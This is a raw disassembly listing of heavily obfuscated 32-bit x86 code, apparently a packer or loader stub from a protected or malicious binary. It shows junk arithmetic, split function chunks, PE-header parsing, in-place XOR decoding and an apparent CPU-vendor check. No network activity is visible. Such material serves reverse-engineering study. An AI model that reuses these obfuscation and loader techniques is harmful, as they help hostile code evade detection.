sub_42B2B9	proc near		; CODE XREF: sub_42DAD9j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, ebx
sub_42B2B9	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42B2BF:				; CODE XREF: sub_42E283:loc_42DD90j
		xchg	edx, [esp+0]


loc_42B2C2:				; CODE XREF: _7hdaygc1:loc_42A5F6j
		push	ecx
		pop	ebx
		jmp	loc_42B872
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_42B2C9:				; CODE XREF: sub_42D002:loc_423EB3j
		jz	loc_42DE82
		rol	edi, 1Ch
		xor	ebp, ebx
		js	locret_4297AC
		jmp	loc_42DE81
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
		sbb	ebx, ebp
		jmp	sub_424F3E
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_4284B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42B2EC:				; CODE XREF: sub_42D9E1-C02j
		call	sub_427F72
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_42B2F1:				; CODE XREF: sub_42CCDD-15B7j
		jmp	loc_42F2AC
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_42B2F6:				; CODE XREF: sub_428B5B+3DCAj
		test	edx, ecx
		jmp	loc_426EB3
; END OF FUNCTION CHUNK	FOR sub_428B5B
; ---------------------------------------------------------------------------


loc_42B2FD:				; CODE XREF: _7hdaygc1:0042B807j
		jb	loc_42C19A
		mov	[ecx], eax
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42B305:				; CODE XREF: sub_4232C2+8533j
		rol	eax, 1Ch
		xor	eax, 0BE1F6F3Dh
		jmp	loc_42D434
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------
		sub	edx, 0B2F1C9E4h
		add	eax, 190C3E81h
		jmp	sub_42B877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42951D


loc_42B324:				; CODE XREF: sub_42951D:loc_42D614j
		jnz	loc_427193
		jmp	loc_42EA65
; END OF FUNCTION CHUNK	FOR sub_42951D

; =============== S U B	R O U T	I N E =======================================



sub_42B32F	proc near		; CODE XREF: sub_427D8E-BF2p
					; sub_428120+7j ...

; FUNCTION CHUNK AT 0042B84C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042CC53 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DE25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F5D2 SIZE 0000000E BYTES

		js	sub_42837F
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_425158
		or	eax, eax
		jmp	loc_42B84C
sub_42B32F	endp

; ---------------------------------------------------------------------------

locret_42B348:				; CODE XREF: _7hdaygc1:0042ADCDj
		retn
; ---------------------------------------------------------------------------


loc_42B349:				; CODE XREF: _7hdaygc1:loc_428C36j
		jz	loc_42E047
		sub	edx, 0C4ECD1A8h
		and	ebp, edx
		adc	ebx, 69235920h
		jmp	loc_42E047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42B362:				; CODE XREF: sub_42C443:loc_4239BFj
		jns	loc_42F235
		mov	ebx, [edx]
		or	ebp, 82BDC26h
		jmp	loc_42CF92
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------


loc_42B375:				; CODE XREF: _7hdaygc1:0042F019j
		mov	eax, [eax]
		mov	eax, [eax]
		push	ebx
		push	87727A22h
		pop	ebx
		xor	ebx, 0EFDB2Dh
		rol	ebx, 4
		cmp	ebx, 48C0435Dh
		jmp	loc_424DA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4296EF


loc_42B394:				; CODE XREF: sub_4296EF:loc_42BC3Cj
		push	eax
		push	0
		push	0
		call	sub_42B942
		push	eax
		pop	edx
		xor	eax, eax
		jmp	loc_42D467
; END OF FUNCTION CHUNK	FOR sub_4296EF
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F0D1


loc_42B3A8:				; CODE XREF: sub_42F0D1+13j
		jmp	loc_42D4E1
; END OF FUNCTION CHUNK	FOR sub_42F0D1

; =============== S U B	R O U T	I N E =======================================



sub_42B3AD	proc near		; CODE XREF: sub_425561-1B0Bj
		push	ebp
		call	sub_425647
sub_42B3AD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_42B3B3:				; CODE XREF: sub_42A4F1+1j
		mov	ebp, esp
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+8+var_8]
		mov	esp, ebp
		xchg	ebx, [esp+8+var_8]
		mov	ebp, ebx
		pop	ebx
		jmp	loc_425AC0
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEA0


loc_42B3C9:				; CODE XREF: sub_42DEA0+Aj
		jmp	loc_424957
; END OF FUNCTION CHUNK	FOR sub_42DEA0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42B3CF:				; CODE XREF: sub_424AE1:loc_42EF10j
		jge	loc_428359


loc_42B3D5:				; CODE XREF: sub_423172+344Cj
		jmp	loc_424224
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
		popf
		pushf
		jmp	loc_42834D
; ---------------------------------------------------------------------------


loc_42B3E1:				; DATA XREF: sub_425008+189Do
		push	64D05A51h
		pop	eax
		xor	eax, 391CEB48h
		and	eax, 1314E44Dh
		jmp	loc_4234C2
; ---------------------------------------------------------------------------


loc_42B3F8:				; DATA XREF: _7hdaygc1:00425708o
		push	esi
		push	0EDC25153h
		pop	esi
		sub	esi, 207A1732h
		jnz	loc_426DCB
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42B40B:				; CODE XREF: sub_424963+8A80j
		jmp	loc_426EE1
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE63


loc_42B410:				; CODE XREF: sub_42BE63-120Dj
		jmp	sub_423F02
; END OF FUNCTION CHUNK	FOR sub_42BE63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A03


loc_42B415:				; CODE XREF: sub_428A03+25j
		xchg	edx, [esp+4+var_4]
		jmp	loc_42C86A
; END OF FUNCTION CHUNK	FOR sub_428A03
; ---------------------------------------------------------------------------


loc_42B41D:				; CODE XREF: _7hdaygc1:loc_42A658j
		pop	edi
		push	edx
		pushf
		push	offset sub_4295F7
		jmp	locret_428F06
; ---------------------------------------------------------------------------
		xchg	edx, eax
		jmp	sub_42F621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42B431:				; CODE XREF: sub_42524F:loc_425BF7j
		pop	edi
		add	edi, 0E587F1F1h
		sub	edi, 52164BC6h
		or	edi, 26E5572Ah
		jnz	loc_42EFD5
; END OF FUNCTION CHUNK	FOR sub_42524F
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42B44A:				; CODE XREF: sub_425F27:loc_42E5A9j
		pop	edx
		and	edx, 15E07A46h
		sub	edx, 0F98B1829h
		add	edx, 0F275EE3Fh
		jmp	loc_42699B
; END OF FUNCTION CHUNK	FOR sub_425F27

; =============== S U B	R O U T	I N E =======================================



sub_42B462	proc near		; CODE XREF: _7hdaygc1:004285E1j
					; _7hdaygc1:loc_42BB0Fp
		xchg	esi, [esp+0]
		pop	esi
		rol	eax, 11h
		push	eax
		retn
sub_42B462	endp

; ---------------------------------------------------------------------------


loc_42B46B:				; CODE XREF: _7hdaygc1:0042690Cj
		jmp	loc_426A9E

; =============== S U B	R O U T	I N E =======================================



sub_42B470	proc near		; CODE XREF: sub_42F56C-B711j
					; sub_427EF6-2CCAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004234A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424436 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042629B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426E6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427386 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427E68 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428C0B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042C5FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E89C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042F768 SIZE 0000001A BYTES

		jz	loc_427E68
		push	ebp
		mov	ebp, esp
		jmp	loc_424436
sub_42B470	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_42B47E:				; CODE XREF: sub_42ABF7-1A71j
		sub	edx, 2FB6DF99h
		or	edx, 0C60B7E52h
		add	edx, 28E2C2C3h
		xchg	edx, [esp+0]
		jmp	sub_428E56
; END OF FUNCTION CHUNK	FOR sub_42ABF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42409E


loc_42B498:				; CODE XREF: sub_42409E:loc_42F99Bj
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_42AA07
		call	sub_42DBF7
		jmp	loc_42EA9B
; END OF FUNCTION CHUNK	FOR sub_42409E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_42B4AC:				; CODE XREF: sub_428B11+1j
		mov	ebp, esp
		jno	sub_426A62


loc_42B4B4:				; CODE XREF: _7hdaygc1:loc_42B8F2j
		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		call	sub_426F53


loc_42B4BF:				; CODE XREF: _7hdaygc1:004265E3j
		jnz	loc_42F6D8
		jmp	loc_42C292
; END OF FUNCTION CHUNK	FOR sub_428B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A1B6


loc_42B4CA:				; CODE XREF: sub_42A1B6:loc_42A1C5j
		jz	loc_42C25D
		jmp	loc_42957B
; END OF FUNCTION CHUNK	FOR sub_42A1B6
; ---------------------------------------------------------------------------


loc_42B4D5:				; CODE XREF: _7hdaygc1:0042E5F9j
		jo	loc_4253CF
		ror	ecx, 3

; =============== S U B	R O U T	I N E =======================================



sub_42B4DE	proc near		; CODE XREF: sub_42F075-90F9p

; FUNCTION CHUNK AT 00424D14 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	245677C4h
		pop	ecx
		or	ecx, 71B58D46h
		sub	ecx, 5E8FF817h
		jmp	loc_424D14
sub_42B4DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B4F9	proc near		; DATA XREF: sub_425752+7EDBo
		xchg	edi, [esp+0]
		call	sub_42A9E0
		call	sub_42DD73
sub_42B4F9	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	esi, ecx
		jmp	loc_426538
; ---------------------------------------------------------------------------


loc_42B50E:				; CODE XREF: _7hdaygc1:0042DA60j
		xchg	eax, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_42B510	proc near		; CODE XREF: sub_42BF20:loc_42DEAFp

; FUNCTION CHUNK AT 0042382D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E7B7 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-1Ch]
		push	eax
		jmp	loc_42E7B7
sub_42B510	endp

; ---------------------------------------------------------------------------


loc_42B51D:				; CODE XREF: _7hdaygc1:00423A18j
		jnz	loc_42EE06
		jmp	loc_42992D
; ---------------------------------------------------------------------------


loc_42B528:				; CODE XREF: _7hdaygc1:00425EB2j
		cmp	edi, esi
		jmp	loc_42EF36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42B52F:				; CODE XREF: sub_42F65A+1F9j
		mov	[ebx], eax
		pop	ebx
		push	315C421Eh
		pop	eax
		rol	eax, 0Eh
		sub	eax, 0B926F38Dh
		xor	eax, 8D9281A9h
		add	eax, ebp
		jmp	loc_42B29A
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_42B54E:				; CODE XREF: sub_4282A9+782Ej
		cdq
		push	0CC68E1AEh


loc_42B554:				; CODE XREF: sub_4282A9:loc_42FACEj
		sub	eax, 0F0AB0437h
		xor	eax, 2F5B4B27h
		call	sub_424DF3
		test	al, al
		jz	loc_42F44B
		jmp	loc_423234
; END OF FUNCTION CHUNK	FOR sub_4282A9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42936E


loc_42B573:				; CODE XREF: sub_42936E+1j
		jmp	loc_42EFE3
; END OF FUNCTION CHUNK	FOR sub_42936E
; ---------------------------------------------------------------------------


loc_42B578:				; CODE XREF: _7hdaygc1:loc_428CB6j
					; _7hdaygc1:00428CC4j
		sub	ebx, 7D77A194h
		or	ebx, 0E19B39BCh
		add	ebx, 7DEEE3F1h
		add	ebx, ebp
		add	ebx, 84159C07h
		jmp	loc_423A0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42B597:				; CODE XREF: sub_42AFFE:loc_42EB9Bj
		push	62C18153h
		pop	eax
		xor	eax, 0A256EC68h
		and	eax, 0B4A404C7h
		rol	eax, 0Ah
		and	eax, 6BF78462h
		add	eax, 17548AADh
		jmp	loc_42E7CB
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB24


loc_42B5BD:				; CODE XREF: sub_42EB24:loc_423406j
		jz	loc_4237F0
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_426ACB
; END OF FUNCTION CHUNK	FOR sub_42EB24
; ---------------------------------------------------------------------------


loc_42B5D0:				; CODE XREF: _7hdaygc1:0042AB82j
		jle	loc_428684


loc_42B5D6:				; CODE XREF: _7hdaygc1:loc_42B07Dj
		and	edi, 79595B76h
		test	edi, 8000h
		jmp	loc_42ABBE
; ---------------------------------------------------------------------------


loc_42B5E7:				; CODE XREF: _7hdaygc1:00424DBFj
		mov	edx, ebp
		xchg	edx, [esp]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_425D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425360


loc_42B5F7:				; CODE XREF: sub_425360+4CADj
		add	ebx, 44488B39h
		call	sub_4263AB
; END OF FUNCTION CHUNK	FOR sub_425360
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42B602:				; CODE XREF: sub_42AFFE+2C89j
		jmp	sub_42828C
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------


loc_42B607:				; CODE XREF: _7hdaygc1:0042ADE5j
		jmp	locret_426280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD2A


loc_42B60C:				; CODE XREF: sub_42FD2A+Ej
		push	ecx
		mov	esp, ebp
; END OF FUNCTION CHUNK	FOR sub_42FD2A
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42B60F:				; CODE XREF: sub_4291EA:loc_4254DAj
		xchg	eax, [esp-8+arg_0]
		mov	ebp, eax
		pop	eax
		call	sub_42E0C4


loc_42B61A:				; CODE XREF: _7hdaygc1:loc_427CDCj
		jnz	loc_42D65B
		jmp	loc_42E965
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42B625:				; CODE XREF: sub_42AA07-439Bj
		jnp	sub_425522


loc_42B62B:				; CODE XREF: sub_42AA07:loc_42B886j
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+6]
		push	edx
		push	978F0C5Dh
		pop	edx
		xor	edx, 6AF448D6h
		jmp	loc_427E27
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42B644:				; CODE XREF: sub_42CFDA-9525j
					; sub_427455+9j ...
		mov	eax, [ebp-0Ch]


loc_42B647:				; CODE XREF: _7hdaygc1:00425428j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42B64B:				; CODE XREF: sub_42524F+Aj
		jmp	loc_426952
; END OF FUNCTION CHUNK	FOR sub_42524F

; =============== S U B	R O U T	I N E =======================================



sub_42B650	proc near		; CODE XREF: sub_4240D4+3j
					; _7hdaygc1:00424DE7p ...

; FUNCTION CHUNK AT 0042453B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B260 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42B260
sub_42B650	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42B656:				; CODE XREF: _7hdaygc1:loc_42E32Aj
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		jz	loc_423104
		jmp	loc_42383E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42B667:				; CODE XREF: sub_425E64:loc_42BF51j
		add	eax, 0DAF7DD59h
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_424BDD
		jmp	loc_42EB02
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C3E4


loc_42B67E:				; CODE XREF: sub_42C3E4:loc_42A243j
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		call	sub_42F67A
; END OF FUNCTION CHUNK	FOR sub_42C3E4
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_42B68F:				; CODE XREF: sub_4291A3:loc_4265D1j
		jmp	loc_424159
; END OF FUNCTION CHUNK	FOR sub_4291A3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_42B695:				; CODE XREF: sub_42B907-30F4j
		jmp	loc_42A665
; END OF FUNCTION CHUNK	FOR sub_42B907
; ---------------------------------------------------------------------------


loc_42B69A:				; CODE XREF: _7hdaygc1:0042343Aj
		pop	ebp
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42B69D:				; CODE XREF: sub_425E64+19j
		jmp	loc_428ABC
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42B6A2:				; CODE XREF: sub_42C16F:loc_428FA0j
		xor	[edx], eax
		push	79D934BDh
		pop	eax


loc_42B6AA:				; CODE XREF: _7hdaygc1:00429143j
		xor	eax, 22609AB7h
		jmp	loc_42307D
; END OF FUNCTION CHUNK	FOR sub_42C16F

; =============== S U B	R O U T	I N E =======================================



sub_42B6B5	proc near		; DATA XREF: _7hdaygc1:00428C71o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423797 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004238BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004247F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D03 SIZE 00000017 BYTES

		mov	eax, [ebp-3Ch]
		xor	edx, edx
		push	edi
		push	3C320FCAh
		jmp	loc_4238BB
sub_42B6B5	endp

; ---------------------------------------------------------------------------
		push	0E68E7A2Bh
		pop	edx
		or	edx, 952273BDh
		test	edx, 200000h
		jmp	loc_42596B
; ---------------------------------------------------------------------------
		xor	esi, ecx
		jmp	sub_42409E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42B6E3:				; CODE XREF: sub_42AA47-6096j
		pop	edx
		xor	edx, 595774A7h
		and	edx, 61AAA0Dh
		xor	edx, 0A4FAD11Eh
		call	sub_42D232


loc_42B6FB:				; CODE XREF: _7hdaygc1:0042D9B3j
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429532


loc_42B700:				; CODE XREF: sub_429532+20j
		jmp	loc_42CB53
; END OF FUNCTION CHUNK	FOR sub_429532
; ---------------------------------------------------------------------------


loc_42B705:				; CODE XREF: _7hdaygc1:00424583j
		xchg	ebp, [esp]
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42E544
		jmp	loc_4242AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AE9C


loc_42B716:				; CODE XREF: sub_42AE9C+6j
		push	offset loc_42AAF2
		jmp	loc_42FB79
; END OF FUNCTION CHUNK	FOR sub_42AE9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_42B720:				; CODE XREF: sub_42CCDD:loc_429380j
		jz	loc_42FD41
		jmp	loc_42B2F1
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; ---------------------------------------------------------------------------


loc_42B72B:				; CODE XREF: _7hdaygc1:00423D2Bj
		mov	eax, offset dword_42BC4C
		call	sub_427D8E
		cmp	ds:dword_42BC60, 0
		jnz	loc_429BBE
		jmp	loc_42F991
; ---------------------------------------------------------------------------


loc_42B747:				; CODE XREF: _7hdaygc1:0042BEE8j
		ror	edi, 0Bh

; =============== S U B	R O U T	I N E =======================================



sub_42B74A	proc near		; CODE XREF: _7hdaygc1:0042E594p

; FUNCTION CHUNK AT 00423013 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423398 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004244D7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004246AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426484 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042671D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00426FDB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427CC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282CB SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00428E37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C669 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D066 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D34C SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	95B89ED9h
		sbb	eax, 0EAA69224h
		jmp	loc_4282CB
sub_42B74A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42B75E:				; CODE XREF: sub_423172:loc_429093j
		or	edx, 5AD14220h
		and	edx, 8FE51CBEh
		xor	edx, 0F97D8E2Fh
		push	ebx
		pushf
		push	160C748Ah
		jmp	loc_428D52
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241F3


loc_42B77C:				; CODE XREF: sub_4241F3:loc_426E65j
					; sub_42F56C+12j
		add	edx, 8DBF3B03h
		xchg	edx, [esp+0]
		jmp	loc_42B107
; END OF FUNCTION CHUNK	FOR sub_4241F3
; ---------------------------------------------------------------------------


loc_42B78A:				; CODE XREF: _7hdaygc1:0042384Bj
					; _7hdaygc1:loc_42C06Ej
		and	edi, 6B3B04A1h
		sub	edi, 6704E43Ah
		call	sub_428498


loc_42B79B:				; CODE XREF: _7hdaygc1:0042F59Dj
		jmp	loc_423901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42B7A0:				; CODE XREF: sub_4237DA+708Ej
		jmp	loc_42D91C
; ---------------------------------------------------------------------------


loc_42B7A5:				; CODE XREF: sub_4237DA+A3C9j
		mov	eax, [eax]
		mov	[ebp-4], eax
		push	12F4B64Eh
		pop	eax


loc_42B7B0:				; CODE XREF: sub_4232C2:loc_42E676j
		add	eax, 0C1307D4h
		jmp	loc_428B50
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42B7BB:				; CODE XREF: sub_424AE1+A5EBj
		jz	loc_423557


loc_42B7C1:				; CODE XREF: _7hdaygc1:0042FB69j
		jmp	loc_42B198
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
		sub	ebx, ebp
		jmp	loc_423550
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FCD3


loc_42B7CD:				; CODE XREF: sub_42FCD3-4BABj
		jge	loc_42C962


loc_42B7D3:				; CODE XREF: _7hdaygc1:00426572j
		jmp	loc_42579E
; END OF FUNCTION CHUNK	FOR sub_42FCD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42B7D8:				; CODE XREF: sub_426130-3B0j
		jmp	loc_42D543
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
		push	ecx
		mov	edx, 529D58C7h
		pushf
		jmp	loc_42C95C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42B7E9:				; CODE XREF: sub_4232C2:loc_423B13j
		or	eax, 0F49EF9E5h
		sub	eax, 1BE90822h
		js	loc_42B305
; END OF FUNCTION CHUNK	FOR sub_4232C2
; START	OF FUNCTION CHUNK FOR sub_425735


loc_42B7FB:				; CODE XREF: sub_425735+701Dj
		jmp	loc_42D07D
; END OF FUNCTION CHUNK	FOR sub_425735
; ---------------------------------------------------------------------------
		push	245309C9h
		test	ecx, esi
		jmp	loc_42B2FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42B80E:				; DATA XREF: sub_42E168+8o
		add	[esi], edx
		xor	[esi], ecx
		cmp	ebx, 756E6547h
		jz	loc_42DF37
		jmp	loc_42FD4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42B823:				; CODE XREF: sub_42911B+Cj
		mov	ebp, esp
		push	ebx
		push	62632B5Bh
		pop	ebx
		jmp	loc_424525
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_42B831:				; CODE XREF: sub_426A39:loc_428C31j
		add	eax, ebp
		add	eax, 0B890E0EAh
		mov	eax, [eax]
		mov	ecx, [eax]
		add	eax, 4
		jmp	loc_423929
; END OF FUNCTION CHUNK	FOR sub_426A39
; ---------------------------------------------------------------------------
		mov	eax, esi
		jmp	sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B32F


loc_42B84C:				; CODE XREF: sub_42B32F+14j
		jnz	loc_42F5D2
		call	sub_42D757
		mov	edx, 0B9726E5Ah
		call	sub_42C1AF
		jmp	loc_42DE25
; END OF FUNCTION CHUNK	FOR sub_42B32F
; ---------------------------------------------------------------------------
		adc	ebx, 0C568D548h
		jmp	loc_427204
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42B872:				; CODE XREF: sub_42E283-2FBFj
		jmp	loc_4255D4
; END OF FUNCTION CHUNK	FOR sub_42E283

; =============== S U B	R O U T	I N E =======================================



sub_42B877	proc near		; CODE XREF: _7hdaygc1:0042B31Fj
					; _7hdaygc1:0042F368p
		xchg	ecx, [esp+0]
		pop	ecx
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		call	sub_428A69
sub_42B877	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42B886:				; CODE XREF: sub_42AA07:loc_42C7EEj
		jz	loc_42B62B
		jmp	loc_42FAE7
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------


loc_42B891:				; CODE XREF: _7hdaygc1:0042904Ej
					; _7hdaygc1:0042D0ECj
		or	edx, 9559B727h
		xor	edx, 50998672h
		call	sub_42C1AF
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		jmp	loc_42DABB
; ---------------------------------------------------------------------------


loc_42B8AD:				; CODE XREF: _7hdaygc1:0042A7CFj
		add	eax, 3E32E583h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		jmp	loc_423CF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42B8BE:				; CODE XREF: sub_42C16F:loc_423C5Dj
